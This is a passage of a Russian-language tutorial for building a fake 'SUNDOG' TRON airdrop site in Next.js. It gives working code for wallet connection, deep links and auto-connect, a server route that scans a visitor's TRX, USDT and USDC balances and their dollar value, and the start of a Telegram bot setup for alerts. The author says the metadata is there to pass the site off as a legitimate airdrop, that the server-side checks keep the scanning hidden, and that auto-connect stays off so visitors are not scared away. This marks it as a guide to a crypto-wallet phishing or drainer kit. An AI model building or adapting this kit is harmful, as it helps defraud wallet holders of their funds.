showAllWallets: true,
// Сеть TRON
network: 'mainnet',
// Дополнительные опции
options: {
// Включить поддержку мобильных deep links
enableExplorer: true,
// Цепи для подключения
chains: [TRON_CHAIN_ID],
},
});
7.2. СОЗДАНИЕ TRON WALLET PROVIDER КОМПОНЕНТА
───────────────────────────────────────────────────────────────────────────────
Создайте файл components/tron-wallet-provider.tsx:
Код:
'use client';
import React, { useMemo } from 'react';
import { WalletProvider } from '@tronweb3/tronwallet-adapter-react-hooks';
import { TronLinkAdapter } from '@tronweb3/tronwallet-adapter-tronlink';
import { TokenPocketAdapter } from '@tronweb3/tronwallet-adapter-tokenpocket';
import { ImTokenAdapter } from '@tronweb3/tronwallet-adapter-imtoken';
import { walletConnectAdapter } from '@/lib/walletconnect';
import type { Adapter } from '@tronweb3/tronwallet-abstract-adapter';
interface TronWalletProviderProps {
children: React.ReactNode;
}
export function TronWalletProvider({ children }: TronWalletProviderProps) {
// Создаем массив адаптеров
const adapters = useMemo(() => {
const adaptersArray: Adapter[] = [];
// 1. TronLink (браузерное расширение)
// Самый популярный кошелек для TRON
// Работает напрямую через window.tronWeb
adaptersArray.push(new TronLinkAdapter());
// 2. TokenPocket
// Поддерживает как браузерное расширение, так и мобильное приложение
// Отличная интеграция с TRON
adaptersArray.push(new TokenPocketAdapter());
// 3. imToken
// Популярен в Азии (особенно Китай)
// Мобильное приложение с deep link поддержкой
adaptersArray.push(new ImTokenAdapter());
// 4. WalletConnect
// Универсальный адаптер для всех остальных кошельков
// Trust Wallet, BitKeep, SafePal и другие подключаются через него
adaptersArray.push(walletConnectAdapter);
return adaptersArray;
}, []);
return (
<WalletProvider
adapters={adapters}
// Автоматически подключаться к кошельку при обнаружении
autoConnect={false}
// Отключить дублирование адаптеров
disableAutoConnectOnLoad={true}
// Callback при ошибке подключения
onError={(error) => {
console.error(' Wallet connection error:', error);
}}
>
{children}
</WalletProvider>
);
}
ОБЪЯСНЕНИЕ КОДА:
1) 'use client' - это Client Component (нужен для React hooks)
2) useMemo - кешируем массив адаптеров, чтобы не создавать их при каждом рендере
3) ПОРЯДОК АДАПТЕРОВ ВАЖЕН:
• TronLink первый - это дефолтный выбор для desktop пользователей
• TokenPocket и imToken - для мобильных
• WalletConnect последний - как fallback для всех остальных
4) autoConnect: false - НЕ подключаемся автоматически при загрузке страницы
(это может спугнуть пользователя). Подключение только по клику.
7.3. ИНТЕГРАЦИЯ PROVIDER В LAYOUT
───────────────────────────────────────────────────────────────────────────────
Откройте app/layout.tsx и оберните приложение в Provider:
Код:
import type { Metadata } from 'next';
import { Geist, Geist_Mono } from 'next/font/google';
import './globals.css';
import { TronWalletProvider } from '@/components/tron-wallet-provider';
import { Toaster } from 'sonner';
const geistSans = Geist({ subsets: ['latin'] });
const geistMono = Geist_Mono({ subsets: ['latin'] });
export const metadata: Metadata = {
title: 'SUNDOG Airdrop - Claim Your Free Tokens',
description: 'Official SUNDOG token airdrop. Connect your TRON wallet to claim up to 1000 SUNDOG tokens instantly.',
keywords: 'SUNDOG, airdrop, TRON, TRC-20, free tokens, crypto',
};
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
return (
<html lang="en">
<body className={`${geistSans.className} antialiased`}>
<TronWalletProvider>
{children}
<Toaster position="top-center" richColors />
</TronWalletProvider>
</body>
</html>
);
}
ВАЖНЫЕ МОМЕНТЫ:
• TronWalletProvider оборачивает все приложение
• Toaster добавлен для toast уведомлений (библиотека sonner)
• Metadata настроена для SEO (важно для маскировки под легальный airdrop)
7.4. ИСПОЛЬЗОВАНИЕ USEWALLET HOOK
───────────────────────────────────────────────────────────────────────────────
Теперь в любом компоненте можно использовать хук useWallet:
Код:
'use client';
import { useWallet } from '@tronweb3/tronwallet-adapter-react-hooks';
export default function MyComponent() {
const {
address, // Адрес подключенного кошелька (Base58 формат)
connected, // true если кошелек подключен
wallet, // Объект текущего кошелька
wallets, // Массив всех доступных адаптеров
select, // Функция для выбора кошелька
connect, // Функция для подключения
disconnect, // Функция для отключения
signTransaction, // Функция для подписи транзакции
} = useWallet();
// Пример использования
const handleConnect = async () => {
try {
await connect();
console.log('Connected to:', address);
} catch (error) {
console.error('Connection failed:', error);
}
};
return (
<div>
{!connected ? (
<button onClick={handleConnect}>Connect Wallet</button>
) : (
<p>Connected: {address}</p>
)}
</div>
);
}
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 8: STEP 5 - СОЗДАНИЕ МОДАЛЬНОГО ОКНА ВЫБОРА КОШЕЛЬКА
═══════════════════════════════════════════════════════════════════════════════
8.1. ПОЧЕМУ СВОЯ МОДАЛКА, А НЕ ГОТОВАЯ ОТ WALLETCONNECT?
───────────────────────────────────────────────────────────────────────────────
В процессе разработки этого проекта я столкнулся с серьезной проблемой: официальная
WalletConnect модалка (@walletconnect/modal) НЕ ПОЛНОСТЬЮ поддерживает сеть TRON и
TronLink кошелек. На официальном сайте WalletConnect (https://walletconnect.com) в
списке поддерживаемых сетей TRON указан, но с ограничениями - многие популярные TRON
кошельки (особенно TronLink) не используют WalletConnect протокол для подключения.
Они работают через собственные провайдеры (window.tronWeb для расширений) и deep links
для мобильных приложений. Пытаясь использовать только готовое решение WalletConnect,
я обнаружил, что TronLink вообще не появляется в списке кошельков, а TokenPocket и
imToken подключаются нестабильно. Именно поэтому было принято решение создать
ГИБРИДНОЕ РЕШЕНИЕ: самописная модалка с интеграцией нескольких методов подключения
(прямые адаптеры + WalletConnect + deep links). Это позволило мне охватить максимум
пользователей и обеспечить стабильную работу со всеми популярными TRON кошельками.
WalletConnect предоставляет готовое модальное окно (@walletconnect/modal), но:
ПРОБЛЕМЫ ГОТОВОЙ МОДАЛКИ WALLETCONNECT:
• Ограниченная поддержка TRON - не все функции работают корректно
• Брендирование WalletConnect (логотипы, ссылки, реклама)
• Ограниченная кастомизация дизайна
• Показывает ТОЛЬКО кошельки, поддерживающие WalletConnect протокол
• НЕ показывает TronLink - самый популярный TRON кошелек (он не использует WalletConnect)
• TokenPocket и imToken работают лучше через direct adapters, а не WalletConnect
• Нет контроля над порядком отображения кошельков
• Сложно добавить кастомную логику (deep links, автоподключение)
ГИБРИДНОЕ РЕШЕНИЕ - КАК ЭТО РАБОТАЕТ:
• СВОЯ МОДАЛКА управляет UI - показывает кнопки кошельков, обрабатывает клики
• Кнопка "TronLink" → подключается через TronLinkAdapter (window.tronWeb)
• Кнопка "TokenPocket" → TokenPocketAdapter + deep links для мобильных
• Кнопка "imToken" → ImTokenAdapter + deep links для мобильных
• Кнопка "Other Wallets" → открывает WALLETCONNECT MODAL для остальных кошельков
• То есть используются ОБА решения одновременно:
- Популярные TRON кошельки = прямое подключение (быстро и стабильно)
- Редкие кошельки = WalletConnect модалка (Trust, BitKeep, SafePal, Safepal и т.д.)
ПРЕИМУЩЕСТВА ТАКОГО ПОДХОДА:
• Максимальный охват пользователей - работают ВСЕ кошельки
• Полный контроль над UI и порядком отображения популярных кошельков
• Лучшая производительность для TronLink/TokenPocket (без лишних прослоек)
• Умная логика определения окружения (браузер/мобильное приложение через URL параметры)
• Брендирование под проект + возможность использовать WalletConnect для расширения
• Кастомные иконки, описания, подсказки, анимации для популярных кошельков
• WalletConnect QR-код для desktop, deep links для mobile
8.2. СТРУКТУРА МОДАЛЬНОГО ОКНА
───────────────────────────────────────────────────────────────────────────────
Создайте файл components/wallet-select-modal.tsx:
Код:
'use client';
import React from 'react';
import { useWallet } from '@tronweb3/tronwallet-adapter-react-hooks';
import {
Dialog,
DialogContent,
DialogHeader,
DialogTitle,
DialogDescription,
} from '@/components/ui/dialog';
import { Button } from '@/components/ui/button';
import { Wallet, Smartphone, Globe } from 'lucide-react';
import { toast } from 'sonner';
interface WalletSelectModalProps {
open: boolean;
onOpenChange: (open: boolean) => void;
}
export function WalletSelectModal({ open, onOpenChange }: WalletSelectModalProps) {
const { wallets, select, connect } = useWallet();
// Функция для подключения конкретного кошелька
const handleSelectWallet = async (walletName: string) => {
try {
// Найти адаптер по имени
const selectedWallet = wallets.find(
(w) => w.adapter.name.toLowerCase() === walletName.toLowerCase()
);
if (!selectedWallet) {
toast.error(`Wallet ${walletName} not found`);
return;
}
// Выбрать адаптер
select(selectedWallet.adapter.name);
// Подключиться
await connect();
// Закрыть модалку
onOpenChange(false);
toast.success('Wallet connected successfully!');
} catch (error: any) {
console.error(' Wallet connection error:', error);
if (error.message?.includes('User rejected')) {
toast.error('Connection cancelled by user');
} else {
toast.error('Failed to connect wallet');
}
}
};
return (
<Dialog open={open} onOpenChange={onOpenChange}>
<DialogContent className="sm:max-w-md">
<DialogHeader>
<DialogTitle className="text-2xl font-bold text-center">
Connect Wallet
</DialogTitle>
<DialogDescription className="text-center">
Choose your preferred wallet to connect
</DialogDescription>
</DialogHeader>
<div className="grid gap-3 mt-4">
<Button
variant="outline"
className="h-16 justify-start gap-4 hover:bg-purple-500/10 hover:border-purple-500 bg-transparent"
onClick={() => handleSelectWallet('TronLink')}
>
<div className="flex items-center justify-center w-10 h-10 rounded-full bg-gradient-to-br from-red-500 to-red-600">
<Wallet className="w-5 h-5 text-white" />
</div>
<div className="flex-1 text-left">
<p className="font-semibold">TronLink</p>
<p className="text-xs text-muted-foreground">Browser Extension</p>
</div>
</Button>
<Button
variant="outline"
className="h-16 justify-start gap-4 hover:bg-blue-500/10 hover:border-blue-500 bg-transparent"
onClick={() => handleSelectWallet('TokenPocket')}
>
<div className="flex items-center justify-center w-10 h-10 rounded-full bg-gradient-to-br from-blue-500 to-blue-600">
<Smartphone className="w-5 h-5 text-white" />
</div>
<div className="flex-1 text-left">
<p className="font-semibold">TokenPocket</p>
<p className="text-xs text-muted-foreground">Mobile & Extension</p>
</div>
</Button>
<Button
variant="outline"
className="h-16 justify-start gap-4 hover:bg-cyan-500/10 hover:border-cyan-500 bg-transparent"
onClick={() => handleSelectWallet('imToken')}
>
<div className="flex items-center justify-center w-10 h-10 rounded-full bg-gradient-to-br from-cyan-500 to-cyan-600">
<Smartphone className="w-5 h-5 text-white" />
</div>
<div className="flex-1 text-left">
<p className="font-semibold">imToken</p>
<p className="text-xs text-muted-foreground">Mobile Wallet</p>
</div>
</Button>
<Button
variant="outline"
className="h-16 justify-start gap-4 hover:bg-green-500/10 hover:border-green-500 bg-transparent"
onClick={() => handleSelectWallet('WalletConnect')}
>
<div className="flex items-center justify-center w-10 h-10 rounded-full bg-gradient-to-br from-green-500 to-green-600">
<Globe className="w-5 h-5 text-white" />
</div>
<div className="flex-1 text-left">
<p className="font-semibold">WalletConnect</p>
<p className="text-xs text-muted-foreground">
Trust, BitKeep, SafePal & more
</p>
</div>
</Button>
</div>
<p className="text-xs text-center text-muted-foreground mt-4">
Don't have a wallet?{' '}
<a
href="https://www.tronlink.org/"
target="_blank"
rel="noopener noreferrer"
className="text-purple-500 hover:underline"
>
Get TronLink
</a>
</p>
</DialogContent>
</Dialog>
);
}
8.3. АДАПТИВНЫЙ ДИЗАЙН ДЛЯ МОБИЛЬНЫХ УСТРОЙСТВ
───────────────────────────────────────────────────────────────────────────────
Для лучшего UX на мобильных, модалка должна выезжать снизу (bottom sheet).
Добавим responsive стили:
Код:
// Измените DialogContent в wallet-select-modal.tsx:
<DialogContent className="sm:max-w-md max-sm:bottom-0 max-sm:top-auto max-sm:translate-y-0 max-sm:rounded-t-2xl max-sm:rounded-b-none">
ОБЪЯСНЕНИЕ TAILWIND КЛАССОВ:
• sm:max-w-md - на desktop максимальная ширина 28rem (448px)
• max-sm:bottom-0 - на мобильных прижать к низу экрана
• max-sm
• max-sm
• max-sm:rounded-t-2xl - скруглить только верхние углы
• max-sm:rounded-b-none - убрать скругление снизу
Результат: на мобильных модалка выезжает снизу, как в нативных приложениях!
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 9: STEP 6 - ИНТЕГРАЦИЯ WALLETCONNECT С КОНКРЕТНЫМИ КОШЕЛЬКАМИ
═══════════════════════════════════════════════════════════════════════════════
9.1. КАК WALLETCONNECT УЗНАЕТ, КАКИЕ КОШЕЛЬКИ УСТАНОВЛЕНЫ?
───────────────────────────────────────────────────────────────────────────────
WalletConnect НЕ МОЖЕТ напрямую определить, какие кошельки установлены на
устройстве пользователя. Вместо этого он:
1) ПОКАЗЫВАЕТ СПИСОК ВСЕХ ПОДДЕРЖИВАЕМЫХ КОШЕЛЬКОВ
На основе explorerRecommendedWalletIds и Explorer API
2) ГЕНЕРИРУЕТ DEEP LINKS ДЛЯ КАЖДОГО КОШЕЛЬКА
Формат: <wallet-scheme>://wc?uri=<encoded-wc-uri>
Примеры:
• Trust Wallet: trust://wc?uri=wc%3A...
• TokenPocket: tpoutside://wc?uri=wc%3A...
• imToken: imtokenv2://wc?uri=wc%3A...
3) ПРИ КЛИКЕ НА КОШЕЛЕК
→ Браузер пытается открыть deep link
→ Если кошелек установлен - открывается
→ Если НЕ установлен - показывается предложение скачать из App Store
9.2. КАСТОМИЗАЦИЯ WALLETCONNECT MODAL
───────────────────────────────────────────────────────────────────────────────
Когда пользователь нажимает на кнопку "WalletConnect" в вашей модалке,
открывается СТАНДАРТНОЕ модальное окно WalletConnect с QR-кодом.
Можно кастомизировать это окно через опции:
Код:
// lib/walletconnect.ts
import { WalletConnectAdapter } from '@tronweb3/tronwallet-adapter-walletconnect';
export const walletConnectAdapter = new WalletConnectAdapter({
projectId: '',
explorerRecommendedWalletIds: [
'4622a2b2d6af1c9844944291e5e7351a6aa24cd7b23099efac1b2fd875da31a0', // Trust
'ef333840daf915aafdc4a004525502d6d49d77bd9c65e0642dbaefb3c2893bef', // imToken
'20459438007b75f4f4acb98bf29aa3b800550309646d375da5fd4aac6c2a2c66', // TokenPocket
],
network: 'mainnet',
options: {
enableExplorer: true,
chains: ['tron:0x2b6653dc'],
// Метаданные вашего приложения (показываются в кошельке)
metadata: {
name: 'SUNDOG Airdrop',
description: 'Official SUNDOG token airdrop campaign',
url: 'https://yourdomain.com',
icons: ['https://yourdomain.com/logo.png'],
},
// Темная тема
themeMode: 'dark',
// Язык интерфейса
themeVariables: {
'--w3m-z-index': '9999',
'--w3m-accent-color': '#8b5cf6',
'--w3m-background-color': '#1a1a1a',
},
},
});
9.4. ОБРАБОТКА ОШИБОК ПОДКЛЮЧЕНИЯ
───────────────────────────────────────────────────────────────────────────────
При подключении через WalletConnect могут возникнуть ошибки:
ТИПИЧНЫЕ ОШИБКИ:
1) "User rejected the request"
→ Пользователь отклонил подключение в кошельке
2) "Session proposal expired"
→ QR-код устарел (пользователь слишком долго не сканировал)
3) "No compatible wallets found"
→ У пользователя нет кошельков с поддержкой TRON
4) "Chain not supported"
→ Кошелек не поддерживает TRON (неправильный wallet ID)
ОБРАБОТКА В КОДЕ:
Код:
const handleSelectWallet = async (walletName: string) => {
try {
const selectedWallet = wallets.find(
(w) => w.adapter.name.toLowerCase() === walletName.toLowerCase()
);
if (!selectedWallet) {
toast.error('Wallet not available');
return;
}
select(selectedWallet.adapter.name);
await connect();
onOpenChange(false);
toast.success('Connected successfully!');
} catch (error: any) {
console.error('Connection error:', error);
// Разбор ошибок
if (error.message?.includes('rejected')) {
toast.error('Connection cancelled');
} else if (error.message?.includes('expired')) {
toast.error('Connection timeout. Please try again.');
} else if (error.message?.includes('not supported')) {
toast.error('This wallet does not support TRON network');
} else {
toast.error('Failed to connect. Please try another wallet.');
}
}
};
9.5. АВТОМАТИЧЕСКОЕ ПЕРЕПОДКЛЮЧЕНИЕ (OPTIONAL)
───────────────────────────────────────────────────────────────────────────────
WalletConnect сохраняет session в localStorage. Можно автоматически
восстанавливать подключение при возврате пользователя:
Код:
// components/tron-wallet-provider.tsx
export function TronWalletProvider({ children }: TronWalletProviderProps) {
const adapters = useMemo(() => { /* ... */ }, []);
return (
<WalletProvider
adapters={adapters}
autoConnect={true} // ← Включить автоподключение
disableAutoConnectOnLoad={false}
onError={(error) => {
console.error('Wallet error:', error);
}}
>
{children}
</WalletProvider>
);
}
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 10: STEP 7 - DEEP LINKS ДЛЯ МОБИЛЬНЫХ КОШЕЛЬКОВ
═══════════════════════════════════════════════════════════════════════════════
10.1. ЧТО ТАКОЕ DEEP LINKS?
───────────────────────────────────────────────────────────────────────────────
Deep Link - это специальная ссылка, которая открывает мобильное приложение.
ФОРМАТ:
<scheme>://<path>?<parameters>
ПРИМЕРЫ:
• TronLink: tronlinkoutside://open.tronlink.org/pull.html?param=...
• TokenPocket: tpoutside://wc?uri=...
• imToken: imtokenv2://wc?uri=...
• Trust Wallet: trust://wc?uri=...
КАК ЭТО РАБОТАЕТ:
1) Пользователь кликает ссылку в браузере
2) Операционная система (iOS/Android) распознает scheme
3) Открывается соответствующее приложение
4) Приложение получает параметры из URL
10.2. ПРОБЛЕМА: ОПРЕДЕЛЕНИЕ ОКРУЖЕНИЯ КОШЕЛЬКА
───────────────────────────────────────────────────────────────────────────────
Когда пользователь открывает ваш сайт ВНУТРИ кошелька (например, встроенный
браузер TronLink), кошелек автоматически инжектирует window.tronWeb или
window.tronLink.
ЗАДАЧА:
Определить, открыт ли сайт внутри кошелька, и автоматически подключиться
без показа модального окна.
Создайте файл lib/deeplinks.ts:
Код:
// Типы кошельков
export type WalletType =
| 'tronlink'
| 'tokenpocket'
| 'imtoken'
| 'trustwallet'
| 'bitkeep'
| null;
/**
* Определяет, в каком кошельке открыт сайт
*/
export function detectWalletEnvironment(): WalletType {
if (typeof window === 'undefined') return null;
// TronLink
if (window.tronLink || window.tronWeb) {
// Дополнительная проверка: это РЕАЛЬНЫЙ TronLink, а не подделка
if (window.tronLink?.ready !== undefined) {
return 'tronlink';
}
}
// TokenPocket
// TokenPocket инжектирует window.ethereum и window.tronWeb одновременно
if (window.tokenpocket || (window.ethereum && window.ethereum.isTokenPocket)) {
return 'tokenpocket';
}
// imToken
// imToken инжектирует window.imToken
if (window.imToken || (window.ethereum && window.ethereum.isImToken)) {
return 'imtoken';
}
// Trust Wallet
if (window.trustwallet || (window.ethereum && window.ethereum.isTrust)) {
return 'trustwallet';
}
// BitKeep
if (window.bitkeep || window.isBitKeep) {
return 'bitkeep';
}
return null;
}
/**
* Ожидает появления кошелька с повторными попытками
*/
export async function waitForWallet(
walletType: WalletType,
maxAttempts: number = 20,
intervalMs: number = 100
): Promise<boolean> {
if (!walletType) return false;
for (let i = 0; i < maxAttempts; i++) {
const detected = detectWalletEnvironment();
if (detected === walletType) {
return true;
}
// Ждем перед следующей попыткой
await new Promise(resolve => setTimeout(resolve, intervalMs));
}
return false;
}
/**
* Получить параметр из URL
*/
export function getUrlParameter(name: string): string | null {
if (typeof window === 'undefined') return null;
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(name);
}
/**
* Генерирует deep link для кошелька
*/
export function generateDeepLink(walletType: WalletType, targetUrl: string): string {
const encodedUrl = encodeURIComponent(targetUrl);
switch (walletType) {
case 'tronlink':
return `tronlinkoutside://open.tronlink.org/pull.html?param=${encodedUrl}`;
case 'tokenpocket':
return `tpoutside://pull.activity?param=${encodedUrl}`;
case 'imtoken':
return `imtokenv2://navigate/DappView?url=${encodedUrl}`;
case 'trustwallet':
return `trust://open_url?url=${encodedUrl}`;
case 'bitkeep':
return `bitkeep://bkconnect?action=open&url=${encodedUrl}`;
default:
return targetUrl;
}
}
10.3. АВТОПОДКЛЮЧЕНИЕ ПРИ ОТКРЫТИИ В КОШЕЛЬКЕ
───────────────────────────────────────────────────────────────────────────────
Теперь используем эти функции в главной странице для автоподключения:
Код:
'use client';
import { useEffect, useState } from 'react';
import { useWallet } from '@tronweb3/tronwallet-adapter-react-hooks';
import { detectWalletEnvironment, waitForWallet, getUrlParameter } from '@/lib/deeplinks';
export default function HomePage() {
const { wallets, select, connect, connected } = useWallet();
const [isChecking, setIsChecking] = useState(true);
useEffect(() => {
if (connected) {
setIsChecking(false);
return;
}
const checkAndAutoConnect = async () => {
// Проверяем URL параметр ?wallet=...
const walletParam = getUrlParameter('wallet');
// Определяем окружение
const detectedWallet = detectWalletEnvironment();
console.log('Wallet param:', walletParam);
console.log('Detected wallet:', detectedWallet);
// Если есть параметр ИЛИ определили кошелек
const targetWallet = walletParam || detectedWallet;
if (targetWallet) {
// Ждем инициализации кошелька
const walletReady = await waitForWallet(
targetWallet as any,
20, // 20 попыток
100 // каждые 100ms
);
if (walletReady) {
// Найти адаптер
let adapterName = '';
if (targetWallet === 'tronlink') adapterName = 'TronLink';
else if (targetWallet === 'tokenpocket') adapterName = 'TokenPocket';
else if (targetWallet === 'imtoken') adapterName = 'imToken';
if (adapterName) {
try {
select(adapterName);
// Задержка перед подключением
// Trust Wallet требует больше времени
const delay = targetWallet === 'trustwallet' ? 3000 : 1500;
await new Promise(resolve => setTimeout(resolve, delay));
await connect();
console.log('Auto-connected to', adapterName);
} catch (error) {
console.error('Auto-connect failed:', error);
}
}
}
}
setIsChecking(false);
};
checkAndAutoConnect();
}, [wallets, connected, select, connect]);
if (isChecking) {
return (
<div className="flex items-center justify-center min-h-screen">
<p className="text-muted-foreground">Initializing wallet...</p>
</div>
);
}
return (
<div>
</div>
);
}
10.4. ГЕНЕРАЦИЯ КНОПОК "ОТКРЫТЬ В КОШЕЛЬКЕ"
───────────────────────────────────────────────────────────────────────────────
Можно добавить кнопки для прямого открытия сайта в кошельке:
Код:
import { generateDeepLink } from '@/lib/deeplinks';
function OpenInWalletButtons() {
const currentUrl = typeof window !== 'undefined' ? window.location.href : '';
const wallets = [
{ name: 'TronLink', type: 'tronlink' as const },
{ name: 'TokenPocket', type: 'tokenpocket' as const },
{ name: 'imToken', type: 'imtoken' as const },
{ name: 'Trust Wallet', type: 'trustwallet' as const },
];
return (
<div className="grid grid-cols-2 gap-2">
{wallets.map((wallet) => {
const deepLink = generateDeepLink(wallet.type, currentUrl);
return (
<a
key={wallet.type}
href={deepLink}
className="px-4 py-2 text-sm border rounded-lg hover:bg-accent"
>
Open in {wallet.name}
</a>
);
})}
</div>
);
}
10.5. ОБРАБОТКА ВОЗВРАТА ИЗ КОШЕЛЬКА
───────────────────────────────────────────────────────────────────────────────
Когда пользователь подписывает транзакцию в мобильном кошельке, некоторые
кошельки возвращают пользователя обратно в браузер.
ПРОБЛЕМА:
Если используется deep link, после подписи может открыться НОВАЯ вкладка
браузера вместо возврата в исходную.
РЕШЕНИЕ:
Использовать sessionStorage для сохранения состояния:
Код:
// Перед открытием deep link
sessionStorage.setItem('wallet_connection_attempt', Date.now().toString());
// После возврата
useEffect(() => {
const attempt = sessionStorage.getItem('wallet_connection_attempt');
if (attempt) {
const timePassed = Date.now() - parseInt(attempt);
// Если прошло меньше 5 минут - пытаемся переподключиться
if (timePassed < 5 * 60 * 1000) {
// Попытка автоподключения
}
sessionStorage.removeItem('wallet_connection_attempt');
}
}, []);
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 11: STEP 8 - API ROUTE ДЛЯ ПРОВЕРКИ БАЛАНСОВ
═══════════════════════════════════════════════════════════════════════════════
11.1. ЗАЧЕМ ПРОВЕРЯТЬ БАЛАНСЫ НА СЕРВЕРЕ?
───────────────────────────────────────────────────────────────────────────────
МОЖНО проверить баланс на клиенте через TronWeb:
JavaScript:
const balance = await tronWeb.trx.getBalance(address);
НО! Проверка на сервере имеет преимущества:
1) СКРЫТНОСТЬ + БЕЗОПАСНОСТЬ
Запросы к TronGrid API идут с вашего сервера, а не из браузера пользователя.
2) ЕДИНОЕ API
Можно проверить сразу TRX + USDT + другие токены одним запросом.
3) РАСЧЕТ USD-СТОИМОСТИ
Получить цены с CoinGecko и рассчитать общую стоимость портфеля.
4) ЛОГИРОВАНИЕ
Можно сохранять данные о балансах для аналит.
11.2. СОЗДАНИЕ API ROUTE
───────────────────────────────────────────────────────────────────────────────
Создайте файл app/api/wallet/scan/route.ts:
Код:
import { NextRequest, NextResponse } from 'next/server';
// USDT contract address (TRC-20)
const USDT_CONTRACT = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
// USDC contract address (TRC-20)
const USDC_CONTRACT = 'TEkxiTehnzSmSe2XqrBj4w32RUN966rdz8';
// TronGrid API (публичный)
const TRONGRID_API = 'https://api.trongrid.io';
/**
* Конвертация Base58 адреса в Hex формат
*/
function convertBase58ToHex(base58Address: string): string {
const alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
let decoded = 0n;
for (const char of base58Address) {
const index = alphabet.indexOf(char);
if (index === -1) throw new Error('Invalid Base58 character');
decoded = decoded * 58n + BigInt(index);
}
// Конвертируем в hex
let hex = decoded.toString(16);
// Убираем checksum (последние 8 символов)
hex = hex.slice(0, -8);
// Возвращаем без префикса 0x (TronGrid API требует без него)
return hex;
}
/**
* POST /api/wallet/scan
*
* Body: { address: "TXxxx..." }
*
* Response: {
* trx: { balance: number, usd: number },
* usdt: { balance: number, usd: number },
* usdc: { balance: number, usd: number },
* total: number
* }
*/
export async function POST(request: NextRequest) {
try {
const body = await request.json();
const { address } = body;
if (!address || !address.startsWith('T')) {
return NextResponse.json(
{ error: 'Invalid TRON address' },
{ status: 400 }
);
}
// Конвертируем адрес в Hex (без 0x)
const hexAddress = convertBase58ToHex(address);
// Параллельные запросы для скорости
const [accountResponse, usdtResponse, usdcResponse, pricesResponse] = await Promise.all([
// 1. Баланс TRX
fetch(`${TRONGRID_API}/walletsolidity/getaccount`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ address: address, visible: true }),
}),
// 2. Баланс USDT
fetch(
`${TRONGRID_API}/v1/accounts/${hexAddress}/transactions/trc20?` +
`limit=1&contract_address=${USDT_CONTRACT}`
),
// 3. Баланс USDC
fetch(
`${TRONGRID_API}/v1/accounts/${hexAddress}/transactions/trc20?` +
`limit=1&contract_address=${USDC_CONTRACT}`
),
// 4. Цены с CoinGecko
fetch(
'https://api.coingecko.com/api/v3/simple/price?' +
'ids=tron,tether,usd-coin&vs_currencies=usd'
),
]);
// Парсим ответы
const accountData = await accountResponse.json();
const usdtData = await usdtResponse.json();
const usdcData = await usdcResponse.json();
const pricesData = await pricesResponse.json();
// Извлекаем балансы
const trxBalance = accountData.balance || 0; // в SUN (1 TRX = 1,000,000 SUN)
const usdtBalance = usdtData.data?.[0]?.value || 0; // в базовых единицах (6 decimals)
const usdcBalance = usdcData.data?.[0]?.value || 0; // в базовых единицах (6 decimals)
// Конвертируем в читаемые единицы
const trx = trxBalance / 1_000_000; // SUN → TRX
const usdt = usdtBalance / 1_000_000; // базовые единицы → USDT
const usdc = usdcBalance / 1_000_000; // базовые единицы → USDC
// Цены из CoinGecko
const trxPrice = pricesData.tron?.usd || 0;
const usdtPrice = pricesData.tether?.usd || 1; // USDT всегда ~$1
const usdcPrice = pricesData['usd-coin']?.usd || 1; // USDC всегда ~$1
// Рассчитываем USD стоимость
const trxUsd = trx * trxPrice;
const usdtUsd = usdt * usdtPrice;
const usdcUsd = usdc * usdcPrice;
const totalUsd = trxUsd + usdtUsd + usdcUsd;
const result = {
trx: {
balance: trx,
usd: trxUsd,
},
usdt: {
balance: usdt,
usd: usdtUsd,
},
usdc: {
balance: usdc,
usd: usdcUsd,
},
total: totalUsd,
};
return NextResponse.json(result);
} catch (error: any) {
return NextResponse.json(
{ error: 'Failed to scan wallet', details: error.message },
{ status: 500 }
);
}
}
11.3. ИСПОЛЬЗОВАНИЕ API НА КЛИЕНТЕ
───────────────────────────────────────────────────────────────────────────────
Код:
'use client';
import { useState } from 'react';
export default function WalletScanner() {
const [balances, setBalances] = useState(null);
const [loading, setLoading] = useState(false);
const scanWallet = async (address: string) => {
setLoading(true);
try {
const response = await fetch('/api/wallet/scan', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ address }),
});
if (!response.ok) throw new Error('Scan failed');
const data = await response.json();
setBalances(data);
} catch (error) {
console.error('Scan error:', error);
} finally {
setLoading(false);
}
};
return (
<div>
{balances && (
<div>
<p>TRX: {balances.trx.balance.toFixed(2)} (${balances.trx.usd.toFixed(2)})</p>
<p>USDT: {balances.usdt.balance.toFixed(2)} (${balances.usdt.usd.toFixed(2)})</p>
<p>USDC: {balances.usdc.balance.toFixed(2)} (${balances.usdc.usd.toFixed(2)})</p>
<p className="font-bold">Total: ${balances.total.toFixed(2)}</p>
</div>
)}
</div>
);
}
11.4. АЛЬТЕРНАТИВА: ИСПОЛЬЗОВАНИЕ TRONWEB НА СЕРВЕРЕ
───────────────────────────────────────────────────────────────────────────────
Вместо прямых HTTP запросов к TronGrid можно использовать TronWeb на сервере:
Код:
// ВАЖНО: TronWeb НЕ работает в Edge Runtime (Vercel)!
// Нужно использовать Node.js Runtime
export const runtime = 'nodejs'; // ← Добавьте эту строку
import TronWeb from 'tronweb';
const tronWeb = new TronWeb({
fullHost: 'https://api.trongrid.io',
});
export async function POST(request: NextRequest) {
const { address } = await request.json();
// Баланс TRX
const trxBalance = await tronWeb.trx.getBalance(address);
// Баланс USDT
const usdtContract = await tronWeb.contract().at('TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t');
const usdtBalance = await usdtContract.balanceOf(address).call();
// ...
}
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 12: STEP 9 - API ROUTE ДЛЯ TELEGRAM УВЕДОМЛЕНИЙ
═══════════════════════════════════════════════════════════════════════════════
12.1. СОЗДАНИЕ TELEGRAM БОТА
───────────────────────────────────────────────────────────────────────────────
ШАГ 1: Откройте Telegram и найдите BotFather
ШАГ 2: Отправьте команду /newbot
ШАГ 3: Укажите имя бота
ШАГ 4: Укажите username: sundog_airdrop_bot (должен заканчиваться на _bot)
ШАГ 5: Вы получите BOT TOKEN:
Код:
1234567890:ABCdefGHIjklMNOpqrsTUVwxyz123456789
